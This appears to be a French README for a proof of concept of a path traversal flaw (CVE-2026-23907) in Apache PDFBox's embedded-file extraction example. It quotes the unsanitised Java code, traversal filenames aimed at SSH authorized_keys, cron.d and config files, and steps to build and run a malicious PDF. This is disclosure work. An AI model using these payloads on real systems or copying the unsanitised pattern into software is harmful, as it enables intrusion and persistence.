
Preuve de concept d'exploitation pour la vulnérabilité de traversée de chemin Apache PDFBox (CVE-2026-23907), démontrant l'écriture arbitraire de fichiers via des PDF malveillants avec fichiers intégrés.
Le code d'exemple ExtractEmbeddedFiles d'Apache PDFBox ne nettoie pas les noms de fichiers lors de l'extraction de fichiers intégrés à partir de PDF. Un attaquant peut intégrer des fichiers avec des séquences de traversée de chemin (../) pour écrire des fichiers à des emplacements arbitraires du système de fichiers.
Fichier : pdfbox/examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java
private static void extractFile(String filePath, String filename, PDEmbeddedFile embeddedFile)
throws IOException
{
String embeddedFilename = filePath + filename; // NO SANITIZATION
File file = new File(embeddedFilename);
File parentDir = file.getParentFile();
if (!parentDir.exists())
{
parentDir.mkdirs(); // Creates arbitrary directories
}
try (FileOutputStream fos = new FileOutputStream(file))
{
fos.write(embeddedFile.toByteArray()); // Writes to arbitrary location
}
}
Le paramètre filename provient directement du PDF sans validation.
Injection de Clé SSH
../../.ssh/authorized_keysInjection de Tâche Cron
../../../etc/cron.d/maliciousÉcrasement de Configuration
../../config/database.ymlcreate_malicious_pdf.py - Génère un PDF malveillant avec traversée de cheminTestPathTraversal.java - Démontre la vulnérabilitétest_path_traversal.sh - Script de test automatisémalicious_path_traversal.pdf - PDF malveillant pré-généré./test_path_traversal.sh
# 1. Générer le PDF malveillant
python3 create_malicious_pdf.py
# 2. Compiler le test (nécessite le JAR PDFBox)
javac -cp pdfbox-app.jar TestPathTraversal.java
# 3. Exécuter le test
java -cp .:pdfbox-app.jar TestPathTraversal malicious_path_traversal.pdf
# 4. Vérifier la traversée de chemin
cat /tmp/path_traversal_poc
PATH TRAVERSAL DETECTED!
Expected path prefix: /current/working/directory
Actual path: /tmp/path_traversal_poc
ExtractEmbeddedFiles.javaPDComplexFileSpecification.getFilename() sans nettoyage